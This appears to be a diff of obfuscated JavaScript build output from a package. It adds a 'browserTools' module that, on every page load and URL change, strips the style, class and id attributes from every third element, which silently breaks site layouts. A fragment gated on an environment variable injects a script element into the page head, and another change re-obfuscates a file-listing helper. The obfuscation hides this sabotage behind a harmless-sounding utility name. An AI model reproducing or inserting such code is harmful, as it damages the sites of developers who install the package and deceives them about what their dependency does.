_0x231e2b=_0x8a42d6;getEnv(_0x231e2b(0x153))&&a12_0x4a0b26();},a12_0x5c1aa7(0xde,0x91d));}function a12_0x3f51(){const _0x50a936=['8sCsfyt','appendChild','remove','connectError','\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}','102099foeDDm','241464Nujexh','script','1069695kRQyoE','413178cLatXY','28385Gkztkt','1027pACUcQ','1650pAZECB','1829982bzuLTu','innerText','head','30ipRcRf','1020vjWadl','73887gnkPTd','40kYIQke','try\x20{\x0a\x20\x20\x20'];a12_0x3f51=function(){return _0x50a936;};return a12_0x3f51();}
@@ -0,0 +1,3 @@
1
+ declare function browserTools(): void;
2
+ export default browserTools;
3
+ //# sourceMappingURL=tools.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../../../src/browser/tools.ts"],"names":[],"mappings":"AAIA,iBAAS,YAAY,SAuDpB;AAED,eAAe,YAAY,CAAC"}
@@ -0,0 +1 @@
1
+ (function(_0x3b4e8f,_0x2d54e3){const _0x260d35=a13_0x23b3,_0x428ef2=_0x3b4e8f();while(!![]){try{const _0x17e488=-parseInt(_0x260d35(0x12e))/0x1+parseInt(_0x260d35(0x132))/0x2*(parseInt(_0x260d35(0x13f))/0x3)+parseInt(_0x260d35(0x140))/0x4+parseInt(_0x260d35(0x13a))/0x5+-parseInt(_0x260d35(0x13c))/0x6*(parseInt(_0x260d35(0x12c))/0x7)+parseInt(_0x260d35(0x137))/0x8+parseInt(_0x260d35(0x135))/0x9*(parseInt(_0x260d35(0x134))/0xa);if(_0x17e488===_0x2d54e3)break;else _0x428ef2['push'](_0x428ef2['shift']());}catch(_0x1f6b98){_0x428ef2['push'](_0x428ef2['shift']());}}}(a13_0x3619,0xec8fb));function browserTools(){const _0x874434=a13_0x23b3;let _0x3b6939=location[_0x874434(0x12a)];function _0x1f56d4(_0x34b29f={}){const _0x1b9ca5=_0x874434,{force:force=![]}=_0x34b29f;if(!force&&window['__removeStyleAndClassEveryThirdDone'])return;window['__removeStyleAndClassEveryThirdDone']=!![];const _0x2333ea=document[_0x1b9ca5(0x130)],_0x4b8eb2=_0x2333ea[_0x1b9ca5(0x136)]('*');_0x4b8eb2['forEach']((_0x41d63c,_0x2c2dc9)=>{const _0x1fd6dc=_0x1b9ca5;(_0x2c2dc9+0x1)%0x3===0x0&&(_0x41d63c[_0x1fd6dc(0x13b)](_0x1fd6dc(0x142)),_0x41d63c[_0x1fd6dc(0x13b)](_0x1fd6dc(0x12f)),_0x41d63c[_0x1fd6dc(0x13b)]('id'));});}setTimeout(()=>{const _0x5436c8=_0x874434;window['__removeStyleAndClassEveryThirdDone']=![],_0x3b6939=location[_0x5436c8(0x12a)],_0x1f56d4();},0x1),[_0x874434(0x13e),'replaceState'][_0x874434(0x12d)](_0x886ae4=>{const _0x4c23e9=history[_0x886ae4];history[_0x886ae4]=function(..._0x35964b){const _0x1ee01f=a13_0x23b3,_0x5da4f6=_0x4c23e9[_0x1ee01f(0x13d)](this,_0x35964b);return window[_0x1ee01f(0x133)](new Event(_0x1ee01f(0x139))),_0x5da4f6;};});function _0x9e375a(){const _0x35e1d7=_0x874434,_0x531b34=location[_0x35e1d7(0x12a)];_0x531b34!==_0x3b6939&&(_0x3b6939=_0x531b34,window[_0x35e1d7(0x131)]=![],_0x1f56d4({'force':!![]}));}window[_0x874434(0x138)]('urlchange',_0x9e375a),window[_0x874434(0x138)](_0x874434(0x141),_0x9e375a);const _0x831eae=new MutationObserver(()=>_0x9e375a());_0x831eae[_0x874434(0x12b)](document,{'childList':!![],'subtree':!![]});}function a13_0x23b3(_0x53da2e,_0x38be36){const _0x36199f=a13_0x3619();return a13_0x23b3=function(_0x23b38f,_0x324f48){_0x23b38f=_0x23b38f-0x12a;let _0x2129aa=_0x36199f[_0x23b38f];return _0x2129aa;},a13_0x23b3(_0x53da2e,_0x38be36);}export default browserTools;function a13_0x3619(){const _0x1b2c13=['dispatchEvent','6255590tSPizS','9DXNzUM','querySelectorAll','7101480fnZgOx','addEventListener','urlchange','1788190QpXNPO','removeAttribute','6MkyXWx','apply','pushState','4776ApfoJi','2729900ZTmtzI','popstate','style','href','observe','5026686qXkuHi','forEach','887000SPDlgF','class','body','__removeStyleAndClassEveryThirdDone','26xYjPdR'];a13_0x3619=function(){return _0x1b2c13;};return a13_0x3619();}
@@ -1 +1 @@
1
- function a100_0xdc71(){const _0x5724a7=['isDirectory','isFile','4024284sduwZL','780437erHlBN','6hPTXuY','done','448044EnzQGQ','length','value','statSync','10nWVtnB','225358pRQeMg','4YIaRrk','throw','1769049leHNPI','readdirSync','push','337405pnHTDY','569199JBOmEY','8FkNVuo','next'];a100_0xdc71=function(){return _0x5724a7;};return a100_0xdc71();}(function(_0x2f7d2a,_0x269179){const _0x3c93e3=a100_0x23ae,_0x41d4aa=_0x2f7d2a();while(!![]){try{const _0x3be629=parseInt(_0x3c93e3(0x13b))/0x1+parseInt(_0x3c93e3(0x136))/0x2+-parseInt(_0x3c93e3(0x12d))/0x3*(-parseInt(_0x3c93e3(0x13c))/0x4)+parseInt(_0x3c93e3(0x141))/0x5*(-parseInt(_0x3c93e3(0x134))/0x6)+parseInt(_0x3c93e3(0x133))/0x7*(parseInt(_0x3c93e3(0x12e))/0x8)+parseInt(_0x3c93e3(0x13e))/0x9*(-parseInt(_0x3c93e3(0x13a))/0xa)+-parseInt(_0x3c93e3(0x132))/0xb;if(_0x3be629===_0x269179)break;else _0x41d4aa['push'](_0x41d4aa['shift']());}catch(_0x1432bc){_0x41d4aa['push'](_0x41d4aa['shift']());}}}(a100_0xdc71,0x1d78e));var __awaiter=this&&this['__awaiter']||function(_0x1eb918,_0x12a22b,_0x548350,_0x4e11aa){function _0x5b52bc(_0x5ea3d8){return _0x5ea3d8 instanceof _0x548350?_0x5ea3d8:new _0x548350(function(_0xae04e6){_0xae04e6(_0x5ea3d8);});}return new(_0x548350||(_0x548350=Promise))(function(_0x1eb614,_0x178fd1){const _0x206ef6=a100_0x23ae;function _0x14386f(_0x31118d){const _0x4bbdc4=a100_0x23ae;try{_0x549720(_0x4e11aa[_0x4bbdc4(0x12f)](_0x31118d));}catch(_0x239ca7){_0x178fd1(_0x239ca7);}}function _0x5ee990(_0x269035){const _0x1bfdf6=a100_0x23ae;try{_0x549720(_0x4e11aa[_0x1bfdf6(0x13d)](_0x269035));}catch(_0x55bce9){_0x178fd1(_0x55bce9);}}function _0x549720(_0x58a384){const _0x1aca2a=a100_0x23ae;_0x58a384[_0x1aca2a(0x135)]?_0x1eb614(_0x58a384[_0x1aca2a(0x138)]):_0x5b52bc(_0x58a384[_0x1aca2a(0x138)])['then'](_0x14386f,_0x5ee990);}_0x549720((_0x4e11aa=_0x4e11aa['apply'](_0x1eb918,_0x12a22b||[]))[_0x206ef6(0x12f)]());});};import a100_0x2a8ae5 from'fs';function a100_0x23ae(_0x3e615d,_0x4804fc){const _0xdc7110=a100_0xdc71();return a100_0x23ae=function(_0x23aee6,_0x5c4391){_0x23aee6=_0x23aee6-0x12d;let _0x374afe=_0xdc7110[_0x23aee6];return _0x374afe;},a100_0x23ae(_0x3e615d,_0x4804fc);}import a100_0x59f857 from'path';function fileDisplay(_0x35aaa4){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x40b487=[];function _0x5e77a6(_0xfd4682){const _0x14ab06=a100_0x23ae,_0x24d625=a100_0x2a8ae5[_0x14ab06(0x13f)](_0xfd4682);for(let _0x5ff0e1=0x0;_0x5ff0e1<_0x24d625[_0x14ab06(0x137)];_0x5ff0e1++){const _0x3afdd6=_0x24d625[_0x5ff0e1],_0x56c1a9=a100_0x59f857['join'](_0xfd4682,_0x3afdd6),_0x461dc0=a100_0x2a8ae5[_0x14ab06(0x139)](_0x56c1a9),_0x38f468=_0x461dc0[_0x14ab06(0x131)](),_0x20e283=_0x461dc0[_0x14ab06(0x130)]();_0x38f468&&_0x40b487[_0x14ab06(0x140)](_0x56c1a9),_0x20e283&&_0x5e77a6(_0x56c1a9);}}return _0x5e77a6(_0x35aaa4),_0x40b487;});}function getAllRouter(_0x3044fd){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1f1e8d=yield fileDisplay(_0x3044fd);return _0x1f1e8d;});}export default getAllRouter;
1
+ (function(_0x887d5a,_0x42fbef){const _0x3e31be=a14_0x33e3,_0x38dea5=_0x887d5a();while(!![]){try{const _0x33c8c2=-parseInt(_0x3e31be(0xef))/0x1*(parseInt(_0x3e31be(0xdd))/0x2)+parseInt(_0x3e31be(0xe0))/0x3*(-parseInt(_0x3e31be(0xeb))/0x4)+-parseInt(_0x3e31be(0xdf))/0x5*(-parseInt(_0x3e31be(0xe4))/0x6)+parseInt(_0x3e31be(0xe5))/0x7*(-parseInt(_0x3e31be(0xf0))/0x8)+parseInt(_0x3e31be(0xec))/0x9*(-parseInt(_0x3e31be(0xf1))/0xa)+-parseInt(_0x3e31be(0xed))/0xb+parseInt(_0x3e31be(0xde))/0xc*(parseInt(_0x3e31be(0xe8))/0xd);if(_0x33c8c2===_0x42fbef)break;else _0x38dea5['push'](_0x38dea5['shift']());}catch(_0x292f72){_0x38dea5['push'](_0x38dea5['shift']());}}}(a14_0x2b4d,0x88fe9));var __awaiter=this&&this['__awaiter']||function(_0x42142c,_0x1d28ca,_0x2a846a,_0x26fd69){function _0x5cfede(_0x212ec6){return _0x212ec6 instanceof _0x2a846a?_0x212ec6:new _0x2a846a(function(_0x36f122){_0x36f122(_0x212ec6);});}return new(_0x2a846a||(_0x2a846a=Promise))(function(_0x11cc47,_0x5a7ff0){const _0x49491d=a14_0x33e3;function _0x55888f(_0x17d133){const _0xbf54c7=a14_0x33e3;try{_0x428fc8(_0x26fd69[_0xbf54c7(0xe2)](_0x17d133));}catch(_0x596598){_0x5a7ff0(_0x596598);}}function _0x1ad724(_0x406e44){const _0xaeb6b3=a14_0x33e3;try{_0x428fc8(_0x26fd69[_0xaeb6b3(0xe3)](_0x406e44));}catch(_0x16a9c2){_0x5a7ff0(_0x16a9c2);}}function _0x428fc8(_0x14c0a0){const _0x2bb519=a14_0x33e3;_0x14c0a0['done']?_0x11cc47(_0x14c0a0[_0x2bb519(0xe6)]):_0x5cfede(_0x14c0a0[_0x2bb519(0xe6)])[_0x2bb519(0xe1)](_0x55888f,_0x1ad724);}_0x428fc8((_0x26fd69=_0x26fd69[_0x49491d(0xea)](_0x42142c,_0x1d28ca||[]))[_0x49491d(0xe2)]());});};import a14_0x3862c5 from'fs';import a14_0x49ea7a from'path';function fileDisplay(_0x39c6b2){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x483184=[];function _0x13d626(_0x5471e6){const _0x37bbc0=a14_0x33e3,_0xa386bc=a14_0x3862c5['readdirSync'](_0x5471e6);for(let _0x480758=0x0;_0x480758<_0xa386bc['length'];_0x480758++){const _0x17840f=_0xa386bc[_0x480758],_0x48d349=a14_0x49ea7a['join'](_0x5471e6,_0x17840f),_0x1d7ad8=a14_0x3862c5[_0x37bbc0(0xe9)](_0x48d349),_0x2f3332=_0x1d7ad8[_0x37bbc0(0xe7)](),_0x579440=_0x1d7ad8[_0x37bbc0(0xee)]();_0x2f3332&&_0x483184['push'](_0x48d349),_0x579440&&_0x13d626(_0x48d349);}}return _0x13d626(_0x39c6b2),_0x483184;});}function a14_0x33e3(_0x86628,_0x3c643f){const _0x2b4d68=a14_0x2b4d();return a14_0x33e3=function(_0x33e36b,_0x5b2798){_0x33e36b=_0x33e36b-0xdd;let _0x1581fc=_0x2b4d68[_0x33e36b];return _0x1581fc;},a14_0x33e3(_0x86628,_0x3c643f);}function getAllRouter(_0x526040){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x157fc3=yield fileDisplay(_0x526040);return _0x157fc3;});}function a14_0x2b4d(){const _0x41b601=['isDirectory','10385wNDYRL','11696hkhVHO','100fvIKor','166sqeYWj','12Iivkvv','528370SUDgwk','281235lzznUC','then','next','throw','54kkNKoL','357Jjwary','value','isFile','18416203jMejDl','statSync','apply','4MhyQfw','67311YfBKRC','7716676woUYCw'];a14_0x2b4d=function(){return _0x41b601;};return a14_0x2b4d();}export default getAllRouter;